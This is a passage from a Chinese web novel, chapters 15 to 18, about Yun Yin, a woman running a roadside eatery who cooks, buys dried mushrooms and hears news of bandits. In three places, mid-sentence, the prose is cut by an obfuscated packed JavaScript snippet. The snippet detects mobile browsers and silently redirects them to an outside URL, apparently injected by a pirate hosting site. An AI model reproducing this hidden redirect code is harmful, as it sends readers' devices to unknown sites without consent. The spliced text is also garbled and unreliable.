云音：“行吧，既然你觉得一切都好，那我便放心了。等你做完一年，我给你发工钱，这样你可以把钱存下来，到时候也落户籍，还能娶个媳妇。” 云音见张林越来越开心，脸上满是对未来的期盼，她道：“明日你帮我再去收点蘑菇。” 她道：“若是这边村子不够，你也可以去河对面的村子看看，多收些蘑菇，等新鲜蘑菇出来，还要一个多月呢，如今只能先找人买些干蘑菇用着。” 张林应下，纠结片刻后道：“云娘子，真的不用担心盗匪的是吗？若是他们一直存在，我们的生意怎么办？” 云音摆摆手道：“没事，你先帮我把蘑菇收回来。” 至于盗匪的事，她也有了新的打算。 15. 第15间客栈 云音做完饭，等张林吃上了，她才把买回来的石磨洗干净，放在一边晾着，等熬完猪油就来做椒盐。 她看着吃得欢快的张林道：“你不是会竹编，你下午可以编一个笼子放到河里，晚上我们吃虾。” 张林点头道：“没问题，我一会就做。” 云音转头继续处理猪板油，她把新鲜的猪板油洗干净切成小块，放到一旁，从中取一块来给新买的铁锅开锅。 开完锅清洗干净铁锅就能使用，她把猪板油放入铁锅，加清水没过猪板油，用大火一直煮，直到水分煮干后转小火慢慢熬煮。 猪油熬上后，云音让张林帮忙看着火，她则去山里掰点笋子和香椿回来，之前一直说要做香椿酱，一直没时间做，这次趁着有时间，晒点干笋和香椿干，也做点香椿酱放着。 山里依旧很安静，就连阳光也不能打破这一片的宁静，只有零星碎光落在树下，云音穿梭在林间一点都没感受到太阳的炽热。 她掰了一大篮子竹笋，又去新长出的香椿树上掰了一些香椿，提着一大筐回了饭摊。 张林已经吃完饭，正在帮忙看火，云音扔下一大篮子竹笋道：“不用一直盯着，我放的火很小，偶尔看一眼就好。过来一起剥笋子，我们多存点干笋子，等冬天的时候还能有菜吃。” 她可是打听过，这里冬天没什么新鲜蔬菜，大家都是吃干菜，一直熬到春天才有新鲜蔬菜吃。这可不像在现代，随时都有新鲜蔬菜，冬天想要吃点新鲜的，那可只有贵族家有汤泉的人，才能种一些蔬菜。 云音就不用想了，还是老老实实多囤积一点菜干吧。 云音拿出新买的簸箕，又拿出一把剪刀，给每一根竹笋身上划上一下，一根手指卷着笋衣，轻轻松松剥下一整根竹笋。 两个人干活速度还是很快的，不到半个时辰，一大篮子竹笋就剥完了。洗干净后，她在另一个灶台放上大釜，冷水下锅加盐煮一段时间，熟后捞出放到冷水中降温，再放到簸箕里，拿到太阳下晾晒。 她分几锅煮完，最后晒了三大簸箕，处理完后用同样的方法处理香椿，也一起拿去晾晒。 期间云音也时不时去翻一翻正在熬煮的猪油，等油渣变得金黄时，猪油也就熬好了，过滤后放点盐密封保存。 云音闻着香喷喷的油渣，一时嘴馋，忍不住拿一个尝了尝。 她连连点头，还是小时候的那个味道，她又撒一点盐到油渣上，招呼张林道：“过来尝尝。” 张林洗了手拿起一个尝了一下，眼睛瞪的圆圆的，咬一口滋滋冒油，这样吃着也不腻，他一连吃了好几个，吃得都停不下来，他连忙问：“云娘子，上回怎么没瞧见你熬猪油的油渣。” 云音又拿一个油渣吃，“上次不是用板油熬的，所以熬出来的肉我拿去炒青菜了，你那次不是还说炒的青菜很好吃吗？” 张林仔细想了想道：“我想起来了，是有这么回事，那天我还吃了好多青菜，我还跟你说，若是青菜都这样炒，我肯定能吃两碗饭。” 云音装好油渣，剩了一点给张林道：“这些都给你吃，剩下的以后用来炒青菜。” 张林接过油渣连连点头，他见云音已经去收拾厨房，他也三两下把油渣吃完，去编笼子。听云娘子的意思是晚上吃虾，想到云音的手艺，他编竹笼的动作也越发快了。 云音洗干净铁锅放到灶台，用小火把盐炒至微黄，之后盛出，继续倒入挑选好的花椒慢慢翻炒。 翻炒中的花椒散发出浓郁的味道，一时间整个灶台附近都被这股霸道的味道笼罩，云音不小心吸入一口，连忙退到一边连打好几个喷嚏。 她翻动锅铲避免花椒糊了，直到花椒的颜色变深，香味也越发浓郁时，她才盛起来放到一边晾凉。 之后就是用石磨把花椒磨成粉末，这一个步骤很简单，放了几个竹笼回来的张林见了，对云音道：“云娘子，这个放着我来吧，你去忙其他的。” 这个步骤确实不需要云音动手，见状她把磨粉的任务交给张林，她则准备明日出门的行头。 “明日我要出门一趟，你在家照看，对了你的地开垦的如何了？” 云音一边收拾东西，一边安排明日的事情。张林听到问话，连忙回道：“已经开了两亩地了，肥还没堆，打算明日去山里挖些腐叶和鸟粪回来。不过堆肥的坑我已经挖好了，就在开的田两边。” 云音点点头，对于他的安排她还是很放心的。 张林回完话，追问道：“娘子明日要去哪里？” 云音：“我打算明日去前面官道上看看情况，今日一天都没有人过来，县城也没有任何消息，我也想看看那边发生了什么。” 张林听到此话，停下手里的动作道：“云娘子要去对付盗匪？要不带我去吧，我好歹还能帮你。” 云音瞪他一眼道：“谁说我要去对付盗匪了，我连他们多少人都不知道，什么战力也不清楚，撞上去送死吗？” “我只是过去看看情况，看看究竟发生了什么事情。这么大事，县衙那边不可能没有动静，我只是去看看罢了。” 张林转头继续磨花椒，“哦”了一声道：“好吧，那云娘子一切小心。” 云音点头道：“我知道，花椒磨完没？” 张林连声道：“好了好了，娘子看看磨的如何。” 云音检查他磨的花椒，他很细心，多次研磨下来，基本没有特别大的颗粒，她点头道：“可以了。” 云音用筛子把粗的颗粒筛出来，剩下的粉末与之前炒好的盐按比例混合，她想了许久的椒盐终于做完了。 椒盐能做的菜可多了，什么椒盐虾，椒盐鸡，椒盐排骨，只要想想就忍不住，今天先吃椒盐虾，之后做椒盐排骨。 云音收起这满满一大罐椒盐，咽了咽口水去给之前晾晒的笋子香椿翻身。 做完这一切，云音见时间还早，她拿出大米和少许糯米清洗干净，沥干水分，放入锅中翻炒，直到大米和糯米变得金黄，关火盛出米对张林道：“你把这个也磨成粉吧。” 张林接过道：“娘子这是要做什么好吃的？” 云音笑笑道：“现在艾草应该长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178751|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了，正好做点蒸肉粉，到时候与艾草一起蒸。” 想到粉蒸肉，又想吃粉蒸排骨了，她看了看那一大袋子炒好的米，磨成粉的话够做很多粉蒸肉和排骨了。 她道：“趁着今日不忙，先把粉蒸肉的粉做好，等过几天我们继续开店，就能做这道菜了。” 张林应下，收拾好石磨继续磨粉。 云音则把带回来的猪肉切好，先炒熟装好，这样明日收回来蘑菇后，可以直接做蘑菇酱。 太阳渐渐西斜，张林装好磨好的米面对云音道：“娘子，我去把虾笼拿回来。” 云音挥挥手让他去了，不过片刻他拿着几个竹笼回来：“娘子，里面好多虾啊。” 云音垂头看去，里面果然有很多河虾，虽然个头比较小，比不上从前吃的基围虾，但用来做椒盐虾还是没问题的。 而且河虾的味道也不差，用来炒韭菜也是很下饭的一道菜。不过她现在没有韭菜，等日后开店后可以安排上这道菜，今日还是吃椒盐虾。 云音把虾倒进盆里，挑出死掉的虾，剪掉虾须虾枪，用清水反复淘洗，控干水分后用米酒腌制一小会儿。 腌制好后用撒上面粉裹住虾，锅里放油把虾倒进去稍稍炸一遍，之后再重复炸一遍直到河虾金黄酥脆。 等虾全部炸好，把油倒出来，加入蒜沫葱花和椒盐翻炒均匀，每个河虾身上都沾上了椒盐和葱蒜，云音用筷子夹一个虾尝了尝，吃起来很是酥脆，椒盐的咸香与虾的鲜甜融合，再加上蒜沫与葱花，不仅下饭，用来配酒也是一道极好的菜肴。 云音边吃边点头，看一旁的张林馋的都流口水了，也递给他一个道：“先尝尝，等我炒个青菜，煮个汤，我们就吃饭。” 她的速度很快，用今日刚炸的油渣炒了个小白菜，又拿新鲜的竹笋炒了个竹笋炒肉，最后用榆钱打个鸡蛋汤，今日的四菜一汤齐活了。 云音吃着煮的香香的米饭，又夹了一筷子椒盐虾，连连感叹道：“真幸福啊，以后要赚更多钱，吃更多好吃的。” 张林听到她的话，赞同道：“是啊，我从来没过过如此好的日子，多亏云娘子收留，才让我吃上这么好吃的食物。” 张林说完继续飞快干起饭来，这么好吃的菜可要多吃点，不能辜负美食啊。 二人就着夕阳吃着饭，喝着汤，一天便这样悄无声息的过去了。 翌日天不亮云音起床，带着准备好的砍刀，背上背篓，与张林说一声，离开了山谷。 这一条官道两边都是树林和山峰，云音一连走了许久都没看见一个村落，看来她附近那里便是一个人群聚集地，又过了一个时辰，云音才看见炊烟。 此时天已经大亮了，前面村子虽然有人烟，但并没有人从村里出来。 云音背着竹篓走进这个小村，这个村子看起来比临江村贫穷多了，房屋都是低矮的土坯房，一户砖瓦房都没有。 云音正打算敲门询问时，一道熟悉的身影从另一个房间走出来。 那男子诧异看向云音道：“云娘子，你怎么会在这里？” 16. 第16间客栈 云音很是诧异道：“傅郎君怎会在这里？” 傅望看一眼屋外，拉着她进屋道：“云娘子，我不是提醒过你，你怎么还来了这里。” 云音指了指身上的背篓道：“我过来收蘑菇。” 傅望瞥一眼云音的背篓，不赞同道：“收蘑菇临江村和平江村就可以，再不行江对面的平溪村也可以，也不用特地走两个时辰到这么远的村子吧。” 云音不好意思笑笑道：“好吧，这不是好几天过去了，还是没见着商队过来，我来看看情况，顺便找人收点蘑菇。” 听了这话傅望眉头更是皱了皱眉，他叹口气道：“云娘子以后还是不要冒险了，若是你早两天过来，迎接你的就不是村民而是盗匪了。” 云音听着他的劝诫，告饶道：“我知道了，以后不会再冒险了。” 她问傅望：“傅郎君的货物送到了？怎么来了这里？难道郎君是衙门中人？” 云音虽然听宋时提过傅望曾经是军营的士兵，如今走镖，但他与龙安县的县尉相熟，也不知是否是帮县衙做事。 傅望摇头道：“货物让兄弟们送了，我来主要是给周昌带个路，我与衙门并无瓜葛。” “当时我们带着货物，也不能对那群盗匪出手，这才救出人后通知了周昌。我与他有些交情，所以他请我帮个忙罢了。” 傅望说完，看了眼云音道：“既然云娘子是来收蘑菇的，那我把村长叫来，你与他商谈。这里很危险，云娘子收完蘑菇早日离去吧。” 云音跟着傅望一起出门：“你之前说早几天盗匪都在这个村里？” 傅望：“是啊，之前袭击我们的只是一小队，剩下的人都躲在这个村里，村里的人也不敢反抗，直到周昌带人过来，那些盗匪才不敌躲到山里去了。” 傅望停在一间房子前，敲了敲门，从屋里走出来一名老者，脸上还带着伤，看见云音时还有些怯懦，直到看到她旁边的傅望才放松下来。 那老者道：“傅郎君有什么需要？” 傅望指了指云音道：“这位小娘子是来收野菌的，若是你们有晒干的野菌，可以跟她换些银钱。” 云音立刻上前道：“村长有多少菌子，我这里都需要。” 村子看一眼傅望，见他点头，脸上露出笑意道：“娘子稍等，我去找人问问。” 云音看着他动作迅速往隔壁跑去，她坐在一旁问傅望：“傅郎君不去捉拿盗匪？” 傅望摇头：“我只是帮周昌带路，这些事是衙门的事，我还是不要越俎代庖了。” 云音见气氛正好，她想了想道：“傅郎君是一直走从西域去绵州的路吗？” 傅望掀起袍子坐地上道：“只要客户雇佣我们，我们哪里都能去的，之前还送过一批货去了海边。不过西域那边去的多，那边商路畅通，很多人会雇佣我们送货。” “云娘子是想要买些西域的东西吗？” 云音睁大眼睛道：“我表现的这么明显吗？我确实想买点东西，就是不知道你那边放不方便。” 傅望含笑看着她道：“不是大件的话，我还是能帮云娘子带些东西的。” 云音仔细想了想道：“其他的我倒是没什么需要的，若是你看到什么中原没有的种子，帮我带点我就很感激了。” 她从怀里掏出钱袋，打算给他银子，他摆摆手道：“不用，我还不知能不能买到，不用先给我银子。” “云娘子也过于轻信他人了。”傅望让她收好钱袋道，“以后钱财还是不要轻易露出来，就算让人帮你带东西，也要看到东西后再付钱，不然你的钱可能就打水漂了。” 云音递钱的手微微一顿，她确实有些过于相信傅望了，或许也是傅望人长得好，看着稳重，她也就放松警惕了。不过他说的也没错，这不是一个好习惯，她哑然失笑道：“傅郎君提醒我了，确实不该轻信人，以后我会多加注意的。” 傅望闻言点头道：“云娘子一个人做生意，这些确实需要注意，若你当真要在官道旁做生意，我还是建议你多招几个人，你们两个人还是太少了。” “这次盗匪也是我们先发现了，我带的兄弟多，若是没人知道，他们发现你那里是早晚的事。云娘子相貌俊俏，还是要多加小心。” 这些都是肺腑之言，云音都记在心里，她感激道：“多谢傅郎君，我会考虑的。” 傅望抿了抿嘴道：“你不嫌弃我多管闲事就好。” 云音摇头：“怎么会，这些对我来说都是真心实意的话，傅郎君也是为我好，我岂会不知。” 就在此时村长带着人扛着东西过来了，云音停下与傅望的交谈，上前去帮忙。 打开那群村民带过来的干蘑菇，云音检查几个，发现质量都很好，她点点头道：“这些都要了。” 看到后面还有一小袋，她继续打开，发现里面竟然装的是干的鸡枞菌，她拿出一把看了看，品相很好，她问村长道：“这种菌菇还有吗？” 村长看向那群村民，其中一人道：“只有这一袋子，这种菌菇很难找，我们也只有一小袋。” “以前都是送到隔壁县城的，后来县城也不要了，所以我们便自己留着吃了。” 云音见他们这里的菌菇很不错，她道：“我这边一直收菌子，若是你们日后采到新鲜的菌子，也可以送到我那里。” 她把地址告诉这群村民，若是日后还想要卖菌子，也可以卖给她，她来者不拒。 云音按照市价杂菌三十文一斤，鸡枞四十文一斤的价格，把这里所有的菌子都收了。 收完菌子，云音也知道那群土匪的消息，知道再过两日龙安县这边剿匪会结束，她也打算回去了。 傅望见她要带的东西很多，他略一沉思后道：“正好我留在这里也没其他事情了，我跟人说一声，送你一趟。” “额，我自己回去就可以了。”云音不好让傅望专门送自己，她连忙拒绝道。 傅望牵了马匹过来道：“无妨，我有马，可以帮你驮货。” 虽然干的菌菇并不重，但几袋子确实不好拿，云音也就没有拒绝。 傅望与留守的人说了一声，帮云音把几袋干蘑菇绑到马上，二人一起离开小村子。 两人走在路上也不无聊，云音找他打听一些大昭的情况，而傅望也给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178752|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲述走镖途中的经历，二人聊得很是畅快。 直到到了地方，云音还有些意犹未尽，她笑了笑道：“听你说的，我也想去西域看看了，看看那一望无际的沙漠，也想去海边看一看，吃一吃鲜美的海货。”虽然这些云音都在后世尝试过，但大昭的大海还是有所不同的。 傅望沉思片刻道：“也不是不行，有机会你可以与我们一道，有我们看顾，你不用担心安危问题。” 云音颔首道：“若是日后有机会，我会去的。” 她叫住傅望道：“傅郎君一路辛苦了，过来喝杯水吧，顺便留下吃个饭，上回你只尝过我做的面，这次让你试试我的手艺。” 傅望拴好马帮她抬着蘑菇道：“云娘子忘了，我还吃过你做的蘑菇酱，味道确实鲜美。我那群兄弟可是把你一顿好夸，还说下次再路过时，要尝尝你做的菜。” 云音接过蘑菇笑道：“那让你先尝尝，看看合不合你口味。” 她让傅望坐着歇息，没瞧见张林，见田里也没有，想起昨日让他去收菌子了，估计他还没回来。转道去了河边，抓了两条鱼，又把昨晚放的竹笼拿出来，里面果然已经有许多河虾了。 云音动作快速杀鱼处理虾，又把米饭蒸上，回屋把铁锅拿过来，开始动手炒菜。 傅望看着云音切菜的刀法娴熟，动作也很迅速，一看就是专门学过的，他看着看着竟然入了神。 直到空气中飘来阵阵香味，他才从恍惚中醒了过来。 云音煮好酸菜鱼，清炒竹笋，又把虾炒了一大盘，仍旧煮了一大锅榆钱鸡蛋汤，给张林留一份，其他都端上桌道：“傅郎君可以吃了。” 傅望帮忙盛饭，等云音也坐下后，才拿筷子道：“云娘子先吃。” 云音见他这样客气，也不多说，端起饭吃起来。 用了炒锅就是不一样，煎过的鱼煮汤更有味道，这一份酸菜鱼比上次的味道更足，她一边吃还一边招呼傅望道：“傅郎君不要客气，多吃点。” 傅望夹起河虾吃掉后道：“我猜想的不错，云娘子的手艺果然不俗。” 酸辣中带着麻的鱼非常下饭，云音的刀法也很厉害，许多鱼刺在片鱼时就已经去掉了，吃的时候只要注意一点，基本不会被鱼刺卡住。 傅望一连吃了好几口，夸赞道：“云娘子做的鱼真好吃，就是府城的饭馆也是比不上的。” 云音见他如此盛赞，连忙摆手道：“哪有你说的这样夸张，只不过是些家常菜罢了。” 傅望摇头道：“我喜欢吃鱼，一般饭馆清蒸酱烧居多，再有便是有些店会做鱼脍，不过我爱不吃生食，所以也没尝过。云娘子做的鱼确实非常好吃，酸麻中带着点辣味，鱼肉入口即化，里面的配菜也煮的很入味，汤汁的味道也很鲜美，即便只用汤汁拌饭，也是极其美味。 傅望又盛了一碗饭道：“虽然你说这是家常菜，但在我看来也不输其他大厨的招牌菜。” 生鱼片云音不仅吃过，自己也动手做过，见傅望这么喜欢她做的鱼，她含笑道：“我会做的鱼还有很多，日后你再路过，可以常来吃。你不吃鱼生也没关系，我还会做其他鱼。” 17. 第17间客栈 傅望又尝了尝清炒的竹笋，一股春天的气息铺面而来，他吃得很是畅快，吃完对云娘子道：“就算不来吃鱼，我也会常来，云娘子的手艺，不论做什么都很好吃。” 云音被他夸得脸都要红了，笑道：“喜欢就多吃点。” 等傅望吃完，饭桌上也基本不剩什么菜了，云音摸了摸有些撑的肚子，对他道：“傅郎君接下来还要去小桃村吗？” 傅望摇摇头道：“我只帮周昌带带路，剩下的都是他的事情。我最近会在龙安县停留一段时间，等石头他们回来，之后可能会再去西域一趟。” “到时候若是看到什么种子，会帮你带一些。” 他说到这里，想到什么道：“云娘子需要我帮你带胡椒吗？” 胡椒？云音也想要这一调料，可如今的胡椒可不是后世随处可见的，一两黄金一两椒说的就是它了。 之前她在县城打听过，这种昂贵的调料只有富贵人家才用，一般人见都没见到过，她这个小店更是不用指望能用得起，其他香料还能想想，胡椒还是不要奢望。 云音摇摇头道：“不用，胡椒挺贵的，我这个小店用不上这些。” “西域的胡椒虽然也贵，但是比起长安来说还是便宜很多，不过你这里暂时确实用不上。”傅望想想后道：“那我到时候看看有什么物美价廉的东西，帮你带一些。” 云音笑着点头道：“那多谢傅郎君。” 送走傅望，云音收拾好桌椅碗筷，张林也提着大包小包从官道那里回来，她连忙上前帮忙道：“怎么带了这么多东西？” 云音打开他带回来的东西翻看，除了收来的蘑菇，还有一些蔬菜。 她收好蘑菇和蔬菜，端来之前给张林留的饭菜道：“先吃饭吧。” 张林一屁股坐下喘气道：“多谢云娘子，我回来的晚了。今日去对面村子多花了点时间，不过我把能收的蘑菇都收了，之后再想收蘑菇，只能等蘑菇长出来了。” 云音看了他收回来的蘑菇点头道：“没事，这些蘑菇够我们用了，再过一个多月新鲜蘑菇便出来了。” 她的蘑菇酱现在还只在龙安县附近卖，等以后找到更多销售渠道后，她也可以研究书中的种植之法，那时候也不会再缺蘑菇了。 张林吃着云音特意留的菜道：“云娘子，那盗匪是什么情况啊？会不会影响我们啊。” 云音摇头道：“无碍，我正好遇到傅郎君，他说官衙那边正在处理，过两天能解决，不会影响我们日后开店的，不过还是要多注意。你以后晚上在前面住的时候，也要多加小心，一有不对劲的地方就去山坡找我。” 张林一边扒饭一边点头道：“我知道了，不会影响我们就好。” 云音等他吃完饭，休息过后，把所有东西搬到他房间锁好，拿出红豆泡上，放到房间后道：“带上背篓，我们去山上摘点艾草吧。” “摘艾草？”张林不解道，“还不到端午节，为何要摘艾草？” 云音：“我听傅郎君提起，过两日是寒食节，那时候开店也无法开火，面条是卖不成了，我打算多做点青团，到时候卖青团。” 张林听云音提起，才恍然大悟道：“原来已经到寒食节了吗？那要准备点祭祀的东西，寒食节之后是清明，到时候要祭拜亡人。” 云音想起早已去世的奶奶和父亲，点头道：“明日你去镇上买些回来，好了，趁着天色还早我们赶紧摘回来。” 再次回到山里，这里并没有因为他们二人常常进入，而有什么变化，树木仍旧郁郁葱葱，山里中的鸟雀轻盈在林间穿梭，对进入山林的人也只是好奇看看，就继续干自己的事情。 云音和张林两人穿过那片竹林，路边杂草从中能看见不少艾叶，她招呼张林道：“摘吧，多摘点。” 张林看到那一片艾叶，二话不说卷起袖子放下背篓去采摘起来。 云音也不再说话，走到另一边摘起来。这一片艾叶生长的很旺盛，比山下的那些艾草长的好，她不用怎么挪动便摘了满满一背篓，云音看背篓已经装满，她连忙叫张林道：“行了，装满了我们先回去吧，反正这艾叶没人来摘，日后我们再来便是。” 张林看了看自己早已装满的背篓，点头道：“好的，云娘子。” 二人收获满满的下山，路过那片香椿地，云音叹口气道：“最近真是太忙了，之前说要做香椿酱，也没时间做。” 明日还要做蘑菇酱，更没时间做了，过两天就是寒食节，她除了要做青团，还想做些钵仔糕，这个也可以吃冷的，味道也不输青团，正好适合寒食节吃。 除了这两种，云音想到凉皮也很适合，到时候拌一碗酸酸麻麻的凉皮，想必能吸引不少人。 想到这里，云音发现时间真是不够用，好在香椿还能吃一个月，等忙过这段时间，她便有时间做香椿酱了。 从山上下来，云音接过张林的背篓道：“接下来的事情不用你帮忙，你可以先把之前开的地给种上，钱嫂子不是给了你一些种子吗？先把那些种上吧。” “葱姜小白菜，韭菜胡瓜都可以种一点，至于茄子等钱嫂子育苗后，你再去找她拿。” “到时候你记得给嫂子带些东西过去，不管是送点肉还是蛋都行。虽说钱嫂子不要我们给的钱，我们也不能平白拿她这么多种子，礼尚往来也要送些东西给她，日后也好相处。” 张林摸了摸头道：“我晓得了，云娘子，那我去种菜，你一个人能忙得过来吗？” 云音把背篓放下道：“这不算什么，你去忙吧。” 她挥挥手让张林去忙，她也开始做准备功夫。 首先做红豆沙，这个是做青团要用的馅料。泡好的红豆倒入釜中煮至红豆绵软，煮好的红豆放入筛网用勺子碾压过滤。 过滤出来的红豆沙静止一段时间，让豆沙沉淀后，倒出上面的水，留下豆沙。然后放入锅里加糖翻炒，之后再加入少许猪油继续翻炒，直到水分炒干为止。 香甜软糯的馅料做好，之后便是做面团。 她拿出准备好的糯米粉和粘米粉按比例调好，采摘的新鲜艾草洗干净焯水后用石臼打出汁水，加入调好的糯米粉中，然后加入一点麦芽糖浆，和成面团。 云音之前在镇上看过，有磨好的糯米粉和粘米粉，但价格是大米和糯米的数倍，她正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178753|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要做蒸肉粉，便一起磨了一些，果然很快就用上了，剩下的糯米粉还能用来做汤圆呢。 不过汤圆可以先不着急，等寒食节过去后再做。 现在要做的是准备青团，云音把炒好的豆沙馅搓成一个个圆圆的团子，再把它包入和好的面团里，最后上火蒸，直到熟透放凉就能吃了。 碧玉般的青团一个个整整齐齐摆放在簸箕里，整片空间弥漫着艾叶特有的清香，拿一个咬上一口，软糯香甜，豆沙甜而不腻，即便冷了也不会变硬。 青团做好，放到一旁，云音准备做凉皮和钵仔糕要用的粉，也就是澄粉。 澄粉其实就是小麦粉水洗后晒干研磨的粉末，凉皮和钵仔糕用的都是这个做的。在现代随便一个超市就能买到做好的澄粉，但在大昭则需要自己动手。 好在这个也简单，就是洗面要稍微花一些时间，一个人做起来会很累。好在云音不怕辛苦，这点活对她来说不算什么，她拿出一个大盆，倒入小麦粉和冷水，和成面团，放到山泉水中揉搓洗面，直到面团只剩下面筋。 这山泉水还是云音之前在山上发现的，尝起来清甜，用来泡茶是极好的水，不过她现在也用不上茶，便拿来做饭了。 这些天做饭用的水都是清晨去山上挑回来的，煮出来的饭非常香，用来洗面做澄粉也合适。 云音坐在凳子上使劲搓洗面团，直到所有面团搓洗好，只剩下面筋。面筋等会拿去蒸，之后做凉皮还能用上，洗出来的水静置一段时间，倒出上面的水，剩下的便能拿来做凉皮和钵仔糕了。 不过今日做钵仔糕和凉皮还有些早，云音还是先把这些沉淀物晒干，等明日做完蘑菇酱，再做凉皮和钵仔糕，这样后日可以直接卖。 云音端着沉淀好的浆水放到阳光下暴晒，而此时青团也已经全部冷却。 她盖上蒸笼的盖子，把青团拿到张林房间放好，留下一笼拿去给张林尝尝。 云音收拾好东西，带着青团去田里找张林，他已经撒好种子，正在给田里浇水。 她看了看已经开出来的两亩地，都已经种上了，她招呼张林道：“过来休息一会儿，吃点东西吧。” 别看云音一下午又是做青团又是做澄粉的，但时间还早的很，距离吃晚食还有一段时间。不过干体力劳动的人就是容易饿，这时候吃点点心填填肚子刚刚好。 张林洗了手坐在田边，拿过冒着清香的青团道：“云娘子，这是你们家乡的特产吗？寒食节吃这个？” 云音也拿了一个道：“嗯，这是我家乡的特色，清明节吃青团，你尝尝看好不好吃。这是甜口馅的，其实还能做咸口的，今年先吃这个馅的，等明年我再多做几个馅。” 张林咬一口吃下，眯了眯眼后又再咬一大口道：“甜口的就很好吃了，这是红豆做的吗？真甜啊，真是太好吃了。” “好吃多吃点吧，我做了好多，明日我上午还要做一些。那些你明日去镇上买祭祀用品时，帮我给阿蔓姐送去。让她也尝尝我家乡那边的美食。还有钱嫂子那边也要送一些。” 张林一口接一口吃着青团，他点头道：“我知道了，我明日一早送去。” 18. 第18间客栈 张林一口气吃完五个青团，直到实在吃不下才不再继续，他拍拍肚子道：“云娘子，我明日还能吃吗？” “这青团不仅软糯，还很甜，我记得上次吃甜食还是小时候，后来再也没吃过了。” “这几天你想什么时候吃都行。”云音看着他仍旧意犹未尽的脸道，“若是你想吃甜的，明日可以去买糖果吃，我在镇上看到有人卖麦芽糖，那个也是很甜的。” “可以吗？”张林期盼看着云音。 “自然可以，麦芽糖也不贵，你可以多买些回来。”云音道，“吃不完的我做泡菜也会用到。” 与他聊完，云音查看他已经撒好种子的田问：“那些种子都种上了吗？” 张林拍拍屁股站起来道：“我开的地不够，所以我每种都种了一些，之后等我再开一些地，就能把剩下的种子种上了。” 云音点点头道：“行，我知道，辛苦你了。” 她帮忙张林挑水浇水，等所有地都浇好，天色也已经要黑了，云音看了看已经在发酵的农家肥，还要大概半个月才能沤好，如今是施不了肥，只能等半个月后。 没有底肥蔬菜生长可能会没有那么好，不过这也是没有办法的事情，好在张林选的地方土地还算肥沃，算是上等田了，等半个月后施一次肥，也不算晚。 收拾好所有东西，吃完晚饭，一天就在二人的忙碌中过去了。 这两天云音非常忙，不仅做好给罗蔓的蘑菇酱，也多做了一些备用，至于给罗蔓送去的青团，她很喜欢，也找她订了一些，打算放在店里售卖。 云音没想到还能有一笔额外的订单，听说罗娘子本来是打算寒食节关店的，以往他们寒食节都会闭店休息，因为不能开火，大家在家准备了凉面凑活，他们也就没有必要开店。 不过吃了云音送的青团，她觉得这个点心很适合寒食节售卖，不仅镇上打算卖，就连县城也打算卖这款点心。 听到她这样的打算，云音觉得她一个人做肯定做不了那么多，干脆把做好的钵仔糕和凉皮一起带上找她商量生意。 来到镇上，镇上很多卖食物的摊子已经不出摊了，后天就是寒食节，他们也需要准备寒食节吃的食物，之后不会开火，一直到寒食节过去才会再次开火。 寒食节和清明在大昭算是挺重要的节日，因为寒食节在清明的前两天，所以这两个节日也是一起过的，除了吃冷食，也是人们扫墓祭祀和踏青郊游的时候。 云音带着东西到罗娘子的饭店时，正好遇到出来踏青的宋时，她挑了挑眉道：“宋郎君这是终于能出城了？” 宋时见到云音也是一脸高兴道：“好巧啊，云娘子，我们休沐，所以出城玩，云娘子这是？” 云音递给他一个食盒道：“既然你在这里，请你吃青团。” 宋时看着这青翠的色泽道：“看起来很好吃啊。” 他拿了一个放进嘴里，眼睛微眯，陶醉道：“还真的很好吃，外皮软糯但又不会黏牙，咀嚼时还能感受到微微弹性，里面的红豆馅也甜而不腻，口感非常细腻。” 他连连称赞道：“云娘子的手艺很不错啊，这个时候配一杯茶那就更有味道了。” 罗蔓过来时正好看到这二人谈论吃食，她笑出声道：“妹子来了，正好我也有事与你商量，之前张林过来都没能说清楚，你来我们也能商量。” 她让人上了风炉，把茶放在火炉上煮着，又在里面加了盐和姜等调料，邀请云音道：“妹子，坐吧，我们一边吃茶一边谈吧。” 大昭的茶与现代喝的茶差别挺大的，更像是唐代时期吃茶的方法，云音喝着这加了调料的茶，突然发现或许奶茶在这个朝代也会很受欢迎。 不过如今她也没有这么多精力弄奶茶，等攒够十贯钱，把那片山谷买下，或许可以买一些母牛养殖，这样有牛奶能做奶制品，想喝奶茶也能做，即便是甜食也不是不能做。 云音一边想着一边喝着茶，听到罗蔓的询问，收回思绪回她：“阿蔓姐，我正想与你说这个事情，这不我还带了一些吃食，你可以尝尝看，若是觉得可以，也可以在寒食节时售卖。” 云音把另一个食盒里装的凉皮和钵仔糕拿出来，对她介绍道：“凉皮和钵仔糕，都可以冷食。” 